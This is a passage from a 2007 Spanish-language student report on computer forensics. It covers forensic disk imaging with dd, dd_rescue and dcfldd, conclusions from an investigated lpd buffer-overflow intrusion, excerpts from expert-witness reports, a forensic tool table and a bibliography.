Duplicacin forense es el trmino utilizado para el procedimiento de realizar una copia de un disco de un equipo investigado, hacia otro disco. Esto se hace con el objeto de poder trabajar sobre una copia de los datos, y para poder replicar la investigacin en caso de ser necesario. Como ya es ha comentado, es necesario documentar todos los pasos involucrados desde el apagado del equipo investigado, hasta la culminacin de la copia realizada. Existen diversas herramientas para realizar copias forenses de informacin. Analizaremos brevemente las herramientas libres ms conocidas.
3.3.1. DD
Esta es una herramienta libre, cuya funcionalidad bsica es copiar bytes de un origen hacia un destino. El programa dd est instalado por defecto en casi cualquier distribucin de Linux y versin de UNIX. La utilizacin de esta herramienta es simple: dd if=/dev/hdb of=archivo.dd conv=notrunc,noerror,sync Las opciones utilizadas son: if=/dev/hdb : utilizada para indicar el archivo origin of=archive.dd : utilizada para indicar el archive destino conv=notrunc,noerror,sync : utilizada para no truncar la salidad en caso de error, no detener la duplicacin en caso de error, y rellenar con ceros la salida en caso de error, respectivamente. Puede especificarse adems el tamao de los bloques de datos a copiar, utilizando la opcin bs. En general se recomienda utilizar como salida de dd un archivo, y no otro dispositivo, para poder disponer del mismo para copiarlo al medio ms adecuado.
3.3.2. DD Rescue
Es una variacin del comando dd, orientada a discos con fallas fsicas, dado que puede utilizar tamaos de bloque variables, y recorrer el disco tanto hacia delante como hacia atrs. La sintaxis no es igual a la de dd: dd_rescue /dev/hdb archivo.dd Donde el primer parmetro indica el origin, y el segundo el destino.
35
Grupo 3
1 Cuatrimestre - 2007
3.3.3. DDFLDD
Esta herramienta agrega funcionalidad de autenticacin al dd, al tener integrado una implementacin del algoritmo de hash MD5. Se tiene la posibilidad de realizar hash de porciones de bloques del disco de origen, registrando los mismos en un archivo. De esta forma, es posible validar grupo por grupo de bloques contra el disco original. La sintaxis es similar a la de dd, pero se agregan las opciones de hashwindows y hashlog. Estas opciones permiten especificar el tamao de los grupos de bytes utilizados para calcular cada hash, y el archivo donde se guardarn los mismos, respectivamente.
3.4.
Conclusiones
Es posible determinar que el atacante se conect al equpo desde la direccin IP 94.90.84.93, mientras que utiliz un segundo equipo con la direccin IP 94.20.1.9 como repositorio de archivos. Para conectarse al equipo, el atacante utiliz una vulnerabilidad del servicio lpd. El mtodo utilizado fue el de desbordamiento de buffer, y ocurri a las 2.35pm del da 8 de Septiembre de 2003. Una vez obtenido este acceso, el atacante cre una cuenta de usuario llamada lpd, con permisos de root en el equipo atacado. Verificando en la duplicacin forense del disco del equipo investigado, se pudo determinar que el atacante utiliz el directorio /tmp/.kde como repositorio local para sus utilidades. Dentro de las utilidades se encontr un conocido cracker de claves, utilizado para descubrir la clave del usuario richard. Para evitar que un firewall pudiera impedir la conexin del equipo atacado con el exterior, el atacante utiliz el programa datapipe para redireccionar el puerto TCP 23 al puerto TCP 2323. Es evidente que la recoleccin de informacin voltil debe hacerse lo antes posible, ya que en caso de apagar el equipo esa informacin sera seguramente perdida. Sin embargo, no es necesario recolectar informacin no voltil antes de apagar el equipo. La informacin no voltil puede ser recuperada completamente a partir de una copia forense del disco del equipo investigado. Realizar una copia forense del disco investigado es fundamental para la investigacin. Esta copia forense permite que otro investigador pueda replicar los pasos dados, y verificar la obtencin de los resultados mostrados. Esto es necesario en caso de una pericia judicial, ya que en caso contrario sera seguramente invalidada. Por tal motivo es necesario recolectar la informacin no voltil a partir de una copia forense de la informacin, y documentando todo y cada uno de los pasos dados. Sin embargo, no todas las investigaciones forenses son de ndole judicial. Dado que las estadsticas apuntan que la mayora de los ataques que recibe una empresa provienen o cuentan con
36
Grupo 3
1 Cuatrimestre - 2007
ayuda desde la propia planta de empleados, muchas veces el inters de la investigacin pasa por descubrir o tener indicios sobre el culpable, sin llegar a etapas judiciales. No es necesario entonces, si la empresa no lo requiere, realizar una copia forense de la informacin a analizar, si bien es muy conveniente contar con una.
37
4. Anexo
4.1. Fragmentos de Informes Periciales. Ejemplos.
a) Preservacin de la integridad del material informtico, a travs de las tcnicas mencionadas oportunamenente (tcnicas de hash):
Caso1: ... A tal efecto, se utilizaron tcnicas informticas para garantizar la preservacin de la evidencia electrnica, pudiendo a futuro verificarse la integridad del material probatorio por medio de certificaciones digitales que se suministran para cada uno de los diskettes en cuestin, a saber: Diskette1: 5F1CE0BF7738AB171D686E2A150CC593 Diskette2:9F3FB4171DF7F3B254CB93D4AABF6849 Diskette3: 36E53D636E3511C5ED3DC0C76B5233F8. Dichas certificaciones son conocidas como valores Hash, resultando una cadena de caracteres y nmeros nica para cada uno de los diskettes obtenida a travs de un algoritmo estndar aprobado internacionalmente conocido como MD5. ...
b) Una descripcin detallada de todas las fuentes de informacin utilizadas, as como tambin de los pasos realizados durante la investigacin:
Caso 2: ... Se realiz un resguardo de la informacin almacenada en la computadora marca ACER, modelo Entra, Nro. de serie 012345*, a fin de cumplimentar lo solicitado en el punto 1) de pericia. Para dar cumplimiento a lo solicitado en el punto 2) de la pericia, se realizaron los siguientes procedimientos: 1-Anlisis de datos a nivel fsico, 2-Anlisis de datos a nivel lgico, 3-Anlisis cronolgico de datos .... "... Anlisis de Datos a Nivel Fsico: Se realiz una bsqueda de informacin relevante sobre todos los sectores fsicos del disco de las siguientes palabras clave: "XXX", "YYY", "ZZZ"...
*Nota: Podemos observar como el detalle de los componentes de la computadora no siempre esta completo, siendo una posible causal de desestimacin de la prueba. (por ejemplo, la falta de marca, modelo y nmero de serie del disco rgido).
Grupo 3
1 Cuatrimestre - 2007
Caso 3: ... En base a los frmacos indicados en el Informe Tcnico Pericial Nro. 2 del Dr. XXX, se practic un anlisis de datos sobre el disco rgido de la computadora con las siguientes palabras: misoprostol, mifepristone, oxaprost y diofenac. Se especific una bsqueda exhaustiva de las cadenas de caracteres mencionadas con el software ReadIT Versin 1.01, utilizado comnmente en pericias informticas para anlisis de datos. ...
d) La contestacin a cada uno de los puntos de pericia, debe indicar cualquier observacin o impedimento en la bsqueda de evidencia:
Caso 4: ...El anlisis de datos a nivel lgico confirma la existencia de un enlace a un documento titulado "DDD.doc.lnk", en la carpeta \WINDOWS\Recent. Esta carpeta del sistema operativo almacena los enlaces de los ltimos archivos accedidos por el usuario de la computadora. El enlace referencia a un archivo localizado en la unidad de disco A:, lo cual indica que el documento fue trabajado en disquette. ... Caso 5: ... Dado que se hace impracticable realizar una impresin indiscriminada de todos los archivos localizados, se tom una muestra de ellos, para localizar visualmente informacin relevante, cuyos resultados son: un archivo (AAA.tmp) y dos visualizaciones mediante capturas de pantalla (BBB.dbf y CCC.dbt) los cuales se adjuntan al presente informe....
4.2.
En este apartado se presentan algunas herramientas usualmente utilizadas en las prcticas de informtica forense. Para cada tarea que se necesite realizar existen herramientas open source (de libre distribucin y modificacin) y tambin comerciales.
Nombre
Descripcin Duplicado forense y utilizacin como disco rgido. No analiza los datos, solamente obtiene informacin relevante para el anlisis.
Link
ftp://ftp.hq.nas a.gov/pub/ig/c cd/enhanced_l oopback http://www.por cupine.org/for ensics/tct.html #source_code
Enhanced_loopback
O.S.
Cononers Toolkit
Incorpora un recuperador de ficheros borrados (lazarus) para cualquier Unix. Permite analizar los procesos en ejecucin.
39
Grupo 3
1 Cuatrimestre - 2007
Recuperacin de archivos borrados Copiado comprimido de discos fuente Bsqueda y anlisis de mltiples partes de archivos adquiridos Diferente capacidad de almacenamiento Varios campos de ordenamiento, incluyendo estampillas de tiempo Anlisis compuesto del documento Firmas de archivos, identificacin y anlisis Anlisis electrnico del rastro de intervencin Soporte de mltiples sistemas de archivo Vista de archivos y otros datos en el espacio Unallocated Integracin de reportes Visualizador integrado de imgenes con galera Permite principalmente analizar la informacin relevada de un sistema. Manejo de imgenes de File systems Windows (NTFS, FAT) y Linux (ext2, ext3) realizadas con Encase, Smart, Snapback, Safeback y DD). Anlisis de archivos comprimidos (winzip, pkzip, rar, gzip, tar). Anlisis de correo electrnico, Identificacin de archivos tpicos del file system y programas, de evidencia, hashsets, etc. Generacin de reportes, acceso y desencriptado de datos protegidos y de registros.
O.S.
Comercial
Encase
Comercial
Windows - Linux
http://www.acc essdata.com/
40
Grupo 3
1 Cuatrimestre - 2007
5. Bibliografa
5.1. Principal
Este trabajo fue realizado a partir de la bibliografa expuesta a continuacin. Se extrajeron fragmentos y se utilizaron esquemas, convenientemente citados.
Forensic Discovery, Dan Farmer Wietse Venema. El tratamiento de la Evidencia Digital, Leopoldo Sebastin M. Gomez. Real Digital Forensics, Jones Bejtlich Rose
5.2. Complementaria
Evidencia Digital: contexto, situacin e implicaciones nacionale, Jos Alejandro Mosquera Gonzlez - Andrs Felipe Certain Jaramillo - Jeimy J. Kano
Introduccin a la Informtica Forense, Jeimy J. Kano http://www.delitosinformaticos.com/delitos/prueba.shtml http://www2.compendium.com.ar/juridico/leggieri.html http://www2.compendium.com.ar/juridico/peri2.html http://web.mit.edu/tytso/www/linux/ext2intro.html http://www.softpanorama.org/Internals/unix_system_calls.shtml http://ext2read.sourceforge.net/documentation/inside-ext23-file-system/ http://www.securityfocus.com/infocus/1738 Herramientas Open Source: http://www.opensourceforensics.org/tools/unix.html
41